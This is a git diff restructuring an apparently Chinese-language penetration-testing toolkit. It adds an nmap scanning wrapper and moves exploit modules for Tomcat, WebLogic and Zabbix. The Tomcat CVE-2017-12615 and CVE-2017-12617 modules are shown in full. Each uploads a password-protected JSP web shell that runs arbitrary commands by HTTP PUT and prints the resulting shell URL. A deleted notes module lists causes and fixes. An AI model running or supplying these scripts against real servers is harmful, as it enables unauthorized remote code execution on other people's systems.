diff --git a/.idea/misc.xml b/.idea/misc.xml deleted file mode 100644 index 434a8a6..0000000 --- a/.idea/misc.xml +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml deleted file mode 100644 index 561e819..0000000 --- a/.idea/modules.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml deleted file mode 100644 index 94a25f7..0000000 --- a/.idea/vcs.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/.idea/vulnerability-list.iml b/.idea/vulnerability-list.iml deleted file mode 100644 index 20b45a5..0000000 --- a/.idea/vulnerability-list.iml +++ /dev/null @@ -1,17 +0,0 @@ - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/.idea/workspace.xml b/.idea/workspace.xml deleted file mode 100644 index 849c5d2..0000000 --- a/.idea/workspace.xml +++ /dev/null @@ -1,637 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - /fckeditor - - - - - - - - - - - true - DEFINITION_ORDER - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1541072041944 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/moon/__pycache__/vulnlist.cpython-36.pyc b/moon/__pycache__/vulnlist.cpython-36.pyc deleted file mode 100644 index 7d94a47..0000000 Binary files a/moon/__pycache__/vulnlist.cpython-36.pyc and /dev/null differ diff --git a/moon/vulnlist.py b/moon/vulnlist.py deleted file mode 100644 index 5fd0f42..0000000 --- a/moon/vulnlist.py +++ /dev/null @@ -1,48 +0,0 @@ -# -*- coding: utf-8 -*- - -def tomcat_vulnlist(): - - print(''' - Tomcat_vuln_list: - - [+]CVE-2017-12615[+] - 应用:上传文件 - 影响范围:Linux/Windows Tomcat: 7.0.0 to 7.0.79 - 官网数据 - 成因:Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件 - 修复:将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true - - [+]CVE-2017-12617[+] - 影响范围:Apache Tomcat 7.0.0 – 7.0.81 - 与CVE-2017-12615类似 - - [+]example_vulnerability[+] - 影响范围:Tomcat: 全版本 - session操纵漏洞:Apache Tomcat默认安装包含”/examples”目录,里面存着众多的样例, - 其中session样例(/examples/servlets/servlet/SessionExample)允许用户对session进行操纵。 - 因为session是全局通用的,所以用户可以通过操纵session获取管理员权限。 - (不一定都是全局的,如果path只在examples下,那就无法利用)。 - 利用此漏洞需要知道相关后台登录后的session键值对,然后写入到session中,利用条件苛刻。 - https://cloud.tencent.com/info/2e03f26090fe592b6c7aa933dd6c0f94.html - 解决办法:安装完tomcat后,删除$CATALINA_HOME/webapps下默认的所有目录文件* rm -rf /srv/apache-tomcat/webapps/* - ''') - - -def apache_vulnlist(): - print(''' - 暂不支持。 - ''') - - -def fck_vulnlist(): - print(''' - fck基本知识:配置文件路径,使用的语言改一下。 - FCKeditor/editor/filemanagerbrowser/default/connectors/asp/config.asp - 要开启上传,要把 ConfigIsEnable = True - 然后设置上传目录 ConfigUserFilesPath = "/UserFiles/" ,这个路径在网站根目录下或者编辑器目录下 - 黑名单: ConfigDeniedExtensions.Add "File","php|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg" - 白名单: ConfigAllowedExtensions.Add "Image","jpg|gif|jpeg|png|bmp" - ''') - -if __name__ == "__main__": - tomcat_vulnlist() - apache_vulnlist() \ No newline at end of file diff --git a/moon/navigate_vuln/88.php b/navigate_vuln/88.php similarity index 100% rename from moon/navigate_vuln/88.php rename to navigate_vuln/88.php diff --git a/moon/navigate_vuln/Main_navigate.py b/navigate_vuln/Main_navigate.py similarity index 100% rename from moon/navigate_vuln/Main_navigate.py rename to navigate_vuln/Main_navigate.py diff --git a/moon/navigate_vuln/__init__.py b/navigate_vuln/__init__.py similarity index 100% rename from moon/navigate_vuln/__init__.py rename to navigate_vuln/__init__.py diff --git a/moon/navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc b/navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc similarity index 100% rename from moon/navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc rename to navigate_vuln/__pycache__/Main_navigate.cpython-36.pyc diff --git a/navigate_vuln/__pycache__/Main_navigate.cpython-37.pyc b/navigate_vuln/__pycache__/Main_navigate.cpython-37.pyc new file mode 100644 index 0000000..d7898c0 Binary files /dev/null and b/navigate_vuln/__pycache__/Main_navigate.cpython-37.pyc differ diff --git a/moon/navigate_vuln/__pycache__/__init__.cpython-36.pyc b/navigate_vuln/__pycache__/__init__.cpython-36.pyc similarity index 100% rename from moon/navigate_vuln/__pycache__/__init__.cpython-36.pyc rename to navigate_vuln/__pycache__/__init__.cpython-36.pyc diff --git a/navigate_vuln/__pycache__/__init__.cpython-37.pyc b/navigate_vuln/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..4d78a0c Binary files /dev/null and b/navigate_vuln/__pycache__/__init__.cpython-37.pyc differ diff --git a/moon/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc b/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc similarity index 100% rename from moon/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc rename to navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-36.pyc diff --git a/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-37.pyc b/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-37.pyc new file mode 100644 index 0000000..edf7c66 Binary files /dev/null and b/navigate_vuln/__pycache__/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.cpython-37.pyc differ diff --git a/moon/navigate_vuln/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.py b/navigate_vuln/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.py similarity index 100% rename from moon/navigate_vuln/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.py rename to navigate_vuln/navigate_Unauthenticated_Remote_Code_Execution_CVE_2018_17553.py diff --git a/nmap_br/Main_nmap.py b/nmap_br/Main_nmap.py new file mode 100644 index 0000000..980004d --- /dev/null +++ b/nmap_br/Main_nmap.py @@ -0,0 +1,15 @@ +# -*- coding: utf-8 -*- +import os +import nmap_br.nmap_n + + +def exec(IP,PORT): + try: + nmap_br.nmap_n.attack(IP,PORT) + except: + print('userage: moon.py -u nmap port IP port,IP为nmap格式。端口可为空 ''') + + + +if __name__ == "__main__": + exec() diff --git a/moon/redis_vuln/__init__.py b/nmap_br/__init__.py similarity index 100% rename from moon/redis_vuln/__init__.py rename to nmap_br/__init__.py diff --git a/nmap_br/__pycache__/Main_nmap.cpython-37.pyc b/nmap_br/__pycache__/Main_nmap.cpython-37.pyc new file mode 100644 index 0000000..94c4a94 Binary files /dev/null and b/nmap_br/__pycache__/Main_nmap.cpython-37.pyc differ diff --git a/nmap_br/__pycache__/__init__.cpython-37.pyc b/nmap_br/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..fb6f258 Binary files /dev/null and b/nmap_br/__pycache__/__init__.cpython-37.pyc differ diff --git a/nmap_br/__pycache__/nmap_n.cpython-37.pyc b/nmap_br/__pycache__/nmap_n.cpython-37.pyc new file mode 100644 index 0000000..2221ca9 Binary files /dev/null and b/nmap_br/__pycache__/nmap_n.cpython-37.pyc differ diff --git a/nmap_br/nmap_n.py b/nmap_br/nmap_n.py new file mode 100644 index 0000000..94c120c --- /dev/null +++ b/nmap_br/nmap_n.py @@ -0,0 +1,73 @@ +# -*- coding:utf-8 -*- +import re +from bs4 import BeautifulSoup +import xlwt +import os + +#将 -sn 输出的存活主机整理出来 针对xml文件 +def adjust_result1(file): + f = open("Live_IP.txt", "w",encoding='utf-8') + fopen = open(file, "r") + line = fopen.readlines() + num = len(line) + x = 0 + while x < num: + if 'state="up"' in line[x]: + print(re.findall('
',line[x+1].strip(),flags=0)[0]) + f.write(re.findall('
',line[x+1].strip(),flags=0)[0]+'\n') + x = x + 1 + f.close() + print('Total:'+str(len(open("Live_IP.txt", "r").readlines()))+'个IP。文件创建完成。') + +#存活主机测试-遗漏可能超过50% +def attack1(IP): + os.system(f'nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 {IP} -oX result_liveip.xml') + adjust_result('result.xml') + +#将普通扫描结果整理成IP对应端口的形式。 针对xml文件 +def adjust_result(file): + workbook = xlwt.Workbook(encoding = 'utf-8') # 创建一个workbook 设置编码 + worksheet = workbook.add_sheet('result') # 创建一个worksheet,sheet页名称 + worksheet.write(0,0, label ='Sequence number') + worksheet.write(0,1, label ='IP:PORT') + worksheet.write(0,2, label ='Reason') + worksheet.write(0,3, label ='State') + worksheet.write(0,4, label ='Service') + w = 1 + fopen = open(file, "r") + soup = BeautifulSoup(fopen,"lxml") + for x in range(0,len(soup.find_all('host'))): + if soup.find_all('host')[x].find_all('status')[0].attrs['state'] == 'up': + for y in range(0,len(soup.find_all('host')[x].find_all('port'))): + worksheet.write(w,0, label =w) + #获取IP及其对应的端口 + IP_PORT = re.findall('
"); - while((a=in.read(b))!=-1){ - out.println(new String(b)); - } - out.print(""); - } -%>""" - try: - requests.put(url, headers=headers, data=data) - time.sleep(2) - verify_response = requests.get(url[:-1], headers=headers) - if verify_response.status_code == 200: - print('存在-Tomcat-CVE-2017-12615!!!') - print('shell: ' + url[:-1]+'?pwd=fff&cmd=whoami') - else : - print('访问shell地址:'+verify_response.status_code) - print("未发现-Tomcat-CVE-2017-12615。") - except : - print("未发现-Tomcat-CVE-2017-12615。") - print('[+]检测结束-Tomcat-CVE-2017-12615。[+]') - print('\n') - -if __name__ == "__main__": +# -*- coding: utf-8 -*- +import sys +import requests +import time + +''' +Usage: + moon.py -u tomcat http://127.0.0.1:8080 + shell: http://127.0.0.1:8080/201712615.jsp?pwd=fff&cmd=whoami + 影响范围:Linux/Windows Tomcat: 7.0.0 to 7.0.79 - 官网数据 + 成因:Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件 + 最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true +''' + +def attack(URL): + print('[+]开始检测-Tomcat-CVE-2017-12615。[+]') + url = URL + '/T68t8YT86.jsp/' + user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" + headers={"User-Agent":user_agent} + data="""<% + if("fff".equals(request.getParameter("pwd"))){ + java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); + int a = -1; + byte[] b = new byte[2048]; + out.print("
");
+        while((a=in.read(b))!=-1){
+            out.println(new String(b));
+        }
+        out.print("
"); + } +%>""" + try: + requests.put(url, headers=headers, data=data) + time.sleep(2) + verify_response = requests.get(url[:-1], headers=headers) + if verify_response.status_code == 200: + print('存在-Tomcat-CVE-2017-12615!!!') + print('shell: ' + url[:-1]+'?pwd=fff&cmd=whoami') + else : + print('访问shell地址:'+verify_response.status_code) + print("未发现-Tomcat-CVE-2017-12615。") + except : + print("未发现-Tomcat-CVE-2017-12615。") + print('[+]检测结束-Tomcat-CVE-2017-12615。[+]') + print('\n') + +if __name__ == "__main__": attack() \ No newline at end of file diff --git a/moon/tomcat/CVE_2017_12617.py b/tomcat/CVE_2017_12617.py similarity index 96% rename from moon/tomcat/CVE_2017_12617.py rename to tomcat/CVE_2017_12617.py index c054e1d..ea82c4d 100644 --- a/moon/tomcat/CVE_2017_12617.py +++ b/tomcat/CVE_2017_12617.py @@ -1,58 +1,58 @@ -#!/usr/bin/python - -import string -from random import * -import requests - - -''' -Usage: - moon.py -u tomcat http://127.0.0.1:8080 - shell: http://127.0.0.1:8080/201712615.jsp?pwd=fff&cmd=whoami -''' - -def gen_shell(): - min_char = 4 - max_char = 12 - allchar = string.ascii_letters + string.digits - shell_name = "".join(choice(allchar) for x in range(randint(min_char, max_char))) - return shell_name + ".jsp" - -def construct_put(url, f): - #print(url) - evil = """<% - if("fff".equals(request.getParameter("pwd"))){ - java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); - int a = -1; - byte[] b = new byte[2048]; - out.print("
");
-        while((a=in.read(b))!=-1){
-            out.println(new String(b));
-        }
-        out.print("
"); - } - %>""" - headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} - req = requests.put(str(url) +'/'+ str(f) + "/", data=evil, headers=headers, verify=False) - #print(req.status_code) - if req.status_code == 201: - #print("File Created ..") - print('发现-Tomcat-CVE-2017-12617!!!') - print('Shell地址:'+(str(url) +'/'+ str(f))+'?pwd=fff&cmd=whoami') - else: - print('未发现-Tomcat-CVE-2017-12617。') - -def attack(URL): - print('[+]开始检测-Tomcat-CVE-2017-12617。[+]') - shell_name = gen_shell() - #print(shell_name) - try: - construct_put(URL, shell_name) - except: - print('shell上传错误。') - print('[+]检测结束-Tomcat-CVE-2017-12617。[+]') - print('\n') - - -if __name__ == '__main__': +#!/usr/bin/python + +import string +from random import * +import requests + + +''' +Usage: + moon.py -u tomcat http://127.0.0.1:8080 + shell: http://127.0.0.1:8080/201712615.jsp?pwd=fff&cmd=whoami +''' + +def gen_shell(): + min_char = 4 + max_char = 12 + allchar = string.ascii_letters + string.digits + shell_name = "".join(choice(allchar) for x in range(randint(min_char, max_char))) + return shell_name + ".jsp" + +def construct_put(url, f): + #print(url) + evil = """<% + if("fff".equals(request.getParameter("pwd"))){ + java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); + int a = -1; + byte[] b = new byte[2048]; + out.print("
");
+        while((a=in.read(b))!=-1){
+            out.println(new String(b));
+        }
+        out.print("
"); + } + %>""" + headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} + req = requests.put(str(url) +'/'+ str(f) + "/", data=evil, headers=headers, verify=False) + #print(req.status_code) + if req.status_code == 201: + #print("File Created ..") + print('发现-Tomcat-CVE-2017-12617!!!') + print('Shell地址:'+(str(url) +'/'+ str(f))+'?pwd=fff&cmd=whoami') + else: + print('未发现-Tomcat-CVE-2017-12617。') + +def attack(URL): + print('[+]开始检测-Tomcat-CVE-2017-12617。[+]') + shell_name = gen_shell() + #print(shell_name) + try: + construct_put(URL, shell_name) + except: + print('shell上传错误。') + print('[+]检测结束-Tomcat-CVE-2017-12617。[+]') + print('\n') + + +if __name__ == '__main__': attack() \ No newline at end of file diff --git a/moon/tomcat/Main_tomcat.py b/tomcat/Main_tomcat.py similarity index 95% rename from moon/tomcat/Main_tomcat.py rename to tomcat/Main_tomcat.py index cae54c4..e8589e0 100644 --- a/moon/tomcat/Main_tomcat.py +++ b/tomcat/Main_tomcat.py @@ -1,19 +1,19 @@ -# -*- coding: utf-8 -*- -import os -import tomcat.CVE_2017_12615 -import tomcat.example_vulnerability -import tomcat.CVE_2017_12617 -import tomcat.tomcat_weakpasswd - - -def exec(URL): - tomcat.CVE_2017_12615.attack(URL) - tomcat.CVE_2017_12617.attack(URL) - tomcat.example_vulnerability.attack(URL) - tomcat.tomcat_weakpasswd.attack(URL) - - - - -if __name__ == "__main__": - exec() +# -*- coding: utf-8 -*- +import os +import tomcat.CVE_2017_12615 +import tomcat.example_vulnerability +import tomcat.CVE_2017_12617 +import tomcat.tomcat_weakpasswd + + +def exec(URL): + tomcat.CVE_2017_12615.attack(URL) + tomcat.CVE_2017_12617.attack(URL) + tomcat.example_vulnerability.attack(URL) + tomcat.tomcat_weakpasswd.attack(URL) + + + + +if __name__ == "__main__": + exec() diff --git a/moon/weblogic/__init__.py b/tomcat/__init__.py similarity index 100% rename from moon/weblogic/__init__.py rename to tomcat/__init__.py diff --git a/moon/tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc b/tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc similarity index 100% rename from moon/tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc rename to tomcat/__pycache__/CVE_2017_12615.cpython-36.pyc diff --git a/tomcat/__pycache__/CVE_2017_12615.cpython-37.pyc b/tomcat/__pycache__/CVE_2017_12615.cpython-37.pyc new file mode 100644 index 0000000..ab37ee9 Binary files /dev/null and b/tomcat/__pycache__/CVE_2017_12615.cpython-37.pyc differ diff --git a/moon/tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc b/tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc similarity index 100% rename from moon/tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc rename to tomcat/__pycache__/CVE_2017_12617.cpython-36.pyc diff --git a/tomcat/__pycache__/CVE_2017_12617.cpython-37.pyc b/tomcat/__pycache__/CVE_2017_12617.cpython-37.pyc new file mode 100644 index 0000000..d341bd7 Binary files /dev/null and b/tomcat/__pycache__/CVE_2017_12617.cpython-37.pyc differ diff --git a/moon/tomcat/__pycache__/Main_tomcat.cpython-36.pyc b/tomcat/__pycache__/Main_tomcat.cpython-36.pyc similarity index 100% rename from moon/tomcat/__pycache__/Main_tomcat.cpython-36.pyc rename to tomcat/__pycache__/Main_tomcat.cpython-36.pyc diff --git a/tomcat/__pycache__/Main_tomcat.cpython-37.pyc b/tomcat/__pycache__/Main_tomcat.cpython-37.pyc new file mode 100644 index 0000000..d3f526e Binary files /dev/null and b/tomcat/__pycache__/Main_tomcat.cpython-37.pyc differ diff --git a/moon/tomcat/__pycache__/__init__.cpython-36.pyc b/tomcat/__pycache__/__init__.cpython-36.pyc similarity index 100% rename from moon/tomcat/__pycache__/__init__.cpython-36.pyc rename to tomcat/__pycache__/__init__.cpython-36.pyc diff --git a/tomcat/__pycache__/__init__.cpython-37.pyc b/tomcat/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..e7a31d8 Binary files /dev/null and b/tomcat/__pycache__/__init__.cpython-37.pyc differ diff --git a/moon/tomcat/__pycache__/example_vulnerability.cpython-36.pyc b/tomcat/__pycache__/example_vulnerability.cpython-36.pyc similarity index 100% rename from moon/tomcat/__pycache__/example_vulnerability.cpython-36.pyc rename to tomcat/__pycache__/example_vulnerability.cpython-36.pyc diff --git a/tomcat/__pycache__/example_vulnerability.cpython-37.pyc b/tomcat/__pycache__/example_vulnerability.cpython-37.pyc new file mode 100644 index 0000000..4c0adda Binary files /dev/null and b/tomcat/__pycache__/example_vulnerability.cpython-37.pyc differ diff --git a/moon/tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc b/tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc similarity index 100% rename from moon/tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc rename to tomcat/__pycache__/tomcat_weakpasswd.cpython-36.pyc diff --git a/tomcat/__pycache__/tomcat_weakpasswd.cpython-37.pyc b/tomcat/__pycache__/tomcat_weakpasswd.cpython-37.pyc new file mode 100644 index 0000000..1c37658 Binary files /dev/null and b/tomcat/__pycache__/tomcat_weakpasswd.cpython-37.pyc differ diff --git a/moon/tomcat/example_vulnerability.py b/tomcat/example_vulnerability.py similarity index 97% rename from moon/tomcat/example_vulnerability.py rename to tomcat/example_vulnerability.py index b8ae571..5dafc9f 100644 --- a/moon/tomcat/example_vulnerability.py +++ b/tomcat/example_vulnerability.py @@ -1,53 +1,53 @@ -# -*- coding: utf-8 -*- -import sys -import requests -import time - -''' -Usage: - moon.py -u tomcat http://127.0.0.1:8080 - 影响范围:Tomcat: 全版本 - session操纵漏洞:Apache Tomcat默认安装包含”/examples”目录,里面存着众多的样例, - 其中session样例(/examples/servlets/servlet/SessionExample)允许用户对session进行操纵。 - 因为session是全局通用的,所以用户可以通过操纵session获取管理员权限。 - (不一定都是全局的,如果path只在examples下,那就无法利用)。 - 利用此漏洞需要知道相关后台登录后的session键值对,然后写入到session中,利用条件苛刻。 - https://cloud.tencent.com/info/2e03f26090fe592b6c7aa933dd6c0f94.html - 解决办法:安装完tomcat后,删除$CATALINA_HOME/webapps下默认的所有目录文件* rm -rf /srv/apache-tomcat/webapps/* -''' - -def attack(URL): - urls = ( - '/examples/servlets/servlet/SessionExample', #200 - '/examples/', #304 - '/docs/', #304 - '/manager/html', # 401 - '/host-manager/html', #401 - '/icons/', - '/manual/' - ) - - print('[+]开始检测-Tomcat-example_vulnerability。[+]') - user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" - headers={"User-Agent":user_agent} - for url in urls: - url = URL + url - try: - verify_response = requests.get(url, headers=headers) - - if verify_response.status_code == 200 or 304 or 401: - try: - print('存在此页面:'+url+' '+str(verify_response.status_code)) - except: - pass - else : - continue - except : - print("Someerror!") - print('[+]检测结束-Tomcat-example_vulnerability。[+]') - print('\n') - -if __name__ == "__main__": - attack() - - +# -*- coding: utf-8 -*- +import sys +import requests +import time + +''' +Usage: + moon.py -u tomcat http://127.0.0.1:8080 + 影响范围:Tomcat: 全版本 + session操纵漏洞:Apache Tomcat默认安装包含”/examples”目录,里面存着众多的样例, + 其中session样例(/examples/servlets/servlet/SessionExample)允许用户对session进行操纵。 + 因为session是全局通用的,所以用户可以通过操纵session获取管理员权限。 + (不一定都是全局的,如果path只在examples下,那就无法利用)。 + 利用此漏洞需要知道相关后台登录后的session键值对,然后写入到session中,利用条件苛刻。 + https://cloud.tencent.com/info/2e03f26090fe592b6c7aa933dd6c0f94.html + 解决办法:安装完tomcat后,删除$CATALINA_HOME/webapps下默认的所有目录文件* rm -rf /srv/apache-tomcat/webapps/* +''' + +def attack(URL): + urls = ( + '/examples/servlets/servlet/SessionExample', #200 + '/examples/', #304 + '/docs/', #304 + '/manager/html', # 401 + '/host-manager/html', #401 + '/icons/', + '/manual/' + ) + + print('[+]开始检测-Tomcat-example_vulnerability。[+]') + user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" + headers={"User-Agent":user_agent} + for url in urls: + url = URL + url + try: + verify_response = requests.get(url, headers=headers) + + if verify_response.status_code == 200 or 304 or 401: + try: + print('存在此页面:'+url+' '+str(verify_response.status_code)) + except: + pass + else : + continue + except : + print("Someerror!") + print('[+]检测结束-Tomcat-example_vulnerability。[+]') + print('\n') + +if __name__ == "__main__": + attack() + + diff --git a/moon/tomcat/tomcat_weakpasswd.py b/tomcat/tomcat_weakpasswd.py similarity index 100% rename from moon/tomcat/tomcat_weakpasswd.py rename to tomcat/tomcat_weakpasswd.py diff --git a/moon/weblogic/CVE_2017_10271.py b/weblogic/CVE_2017_10271.py similarity index 100% rename from moon/weblogic/CVE_2017_10271.py rename to weblogic/CVE_2017_10271.py diff --git a/moon/weblogic/Main_weblogic.py b/weblogic/Main_weblogic.py similarity index 100% rename from moon/weblogic/Main_weblogic.py rename to weblogic/Main_weblogic.py diff --git a/moon/zabbix_vuln/__init__.py b/weblogic/__init__.py similarity index 100% rename from moon/zabbix_vuln/__init__.py rename to weblogic/__init__.py diff --git a/moon/weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc b/weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc similarity index 100% rename from moon/weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc rename to weblogic/__pycache__/CVE_2017_10271.cpython-36.pyc diff --git a/weblogic/__pycache__/CVE_2017_10271.cpython-37.pyc b/weblogic/__pycache__/CVE_2017_10271.cpython-37.pyc new file mode 100644 index 0000000..d19ce2f Binary files /dev/null and b/weblogic/__pycache__/CVE_2017_10271.cpython-37.pyc differ diff --git a/moon/weblogic/__pycache__/Main_weblogic.cpython-36.pyc b/weblogic/__pycache__/Main_weblogic.cpython-36.pyc similarity index 100% rename from moon/weblogic/__pycache__/Main_weblogic.cpython-36.pyc rename to weblogic/__pycache__/Main_weblogic.cpython-36.pyc diff --git a/weblogic/__pycache__/Main_weblogic.cpython-37.pyc b/weblogic/__pycache__/Main_weblogic.cpython-37.pyc new file mode 100644 index 0000000..a26e04d Binary files /dev/null and b/weblogic/__pycache__/Main_weblogic.cpython-37.pyc differ diff --git a/moon/weblogic/__pycache__/__init__.cpython-36.pyc b/weblogic/__pycache__/__init__.cpython-36.pyc similarity index 100% rename from moon/weblogic/__pycache__/__init__.cpython-36.pyc rename to weblogic/__pycache__/__init__.cpython-36.pyc diff --git a/weblogic/__pycache__/__init__.cpython-37.pyc b/weblogic/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..a1052b9 Binary files /dev/null and b/weblogic/__pycache__/__init__.cpython-37.pyc differ diff --git a/moon/weblogic/__pycache__/ssrf.cpython-36.pyc b/weblogic/__pycache__/ssrf.cpython-36.pyc similarity index 100% rename from moon/weblogic/__pycache__/ssrf.cpython-36.pyc rename to weblogic/__pycache__/ssrf.cpython-36.pyc diff --git a/weblogic/__pycache__/ssrf.cpython-37.pyc b/weblogic/__pycache__/ssrf.cpython-37.pyc new file mode 100644 index 0000000..99be1ee Binary files /dev/null and b/weblogic/__pycache__/ssrf.cpython-37.pyc differ diff --git a/moon/weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc b/weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc similarity index 100% rename from moon/weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc rename to weblogic/__pycache__/weblogic_weakpasswd.cpython-36.pyc diff --git a/weblogic/__pycache__/weblogic_weakpasswd.cpython-37.pyc b/weblogic/__pycache__/weblogic_weakpasswd.cpython-37.pyc new file mode 100644 index 0000000..90236c8 Binary files /dev/null and b/weblogic/__pycache__/weblogic_weakpasswd.cpython-37.pyc differ diff --git a/moon/weblogic/ssrf.py b/weblogic/ssrf.py similarity index 100% rename from moon/weblogic/ssrf.py rename to weblogic/ssrf.py diff --git a/moon/weblogic/weblogic_weakpasswd.py b/weblogic/weblogic_weakpasswd.py similarity index 100% rename from moon/weblogic/weblogic_weakpasswd.py rename to weblogic/weblogic_weakpasswd.py diff --git a/moon/zabbix_vuln/Main_zabbix.py b/zabbix_vuln/Main_zabbix.py similarity index 100% rename from moon/zabbix_vuln/Main_zabbix.py rename to zabbix_vuln/Main_zabbix.py diff --git a/zabbix_vuln/__init__.py b/zabbix_vuln/__init__.py new file mode 100644 index 0000000..7c68785 --- /dev/null +++ b/zabbix_vuln/__init__.py @@ -0,0 +1 @@ +# -*- coding: utf-8 -*- \ No newline at end of file diff --git a/moon/zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc b/zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc similarity index 100% rename from moon/zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc rename to zabbix_vuln/__pycache__/Main_zabbix.cpython-36.pyc diff --git a/zabbix_vuln/__pycache__/Main_zabbix.cpython-37.pyc b/zabbix_vuln/__pycache__/Main_zabbix.cpython-37.pyc new file mode 100644 index 0000000..205fff6 Binary files /dev/null and b/zabbix_vuln/__pycache__/Main_zabbix.cpython-37.pyc differ diff --git a/moon/zabbix_vuln/__pycache__/__init__.cpython-36.pyc b/zabbix_vuln/__pycache__/__init__.cpython-36.pyc similarity index 100% rename from moon/zabbix_vuln/__pycache__/__init__.cpython-36.pyc rename to zabbix_vuln/__pycache__/__init__.cpython-36.pyc diff --git a/zabbix_vuln/__pycache__/__init__.cpython-37.pyc b/zabbix_vuln/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..cc91b22 Binary files /dev/null and b/zabbix_vuln/__pycache__/__init__.cpython-37.pyc differ diff --git a/moon/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc b/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc similarity index 100% rename from moon/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc rename to zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-36.pyc diff --git a/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-37.pyc b/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-37.pyc new file mode 100644 index 0000000..b7309fd Binary files /dev/null and b/zabbix_vuln/__pycache__/zabbix_sql_CVE_2016_10134.cpython-37.pyc differ diff --git a/moon/zabbix_vuln/zabbix_sql_CVE_2016_10134.py b/zabbix_vuln/zabbix_sql_CVE_2016_10134.py similarity index 100% rename from moon/zabbix_vuln/zabbix_sql_CVE_2016_10134.py rename to zabbix_vuln/zabbix_sql_CVE_2016_10134.py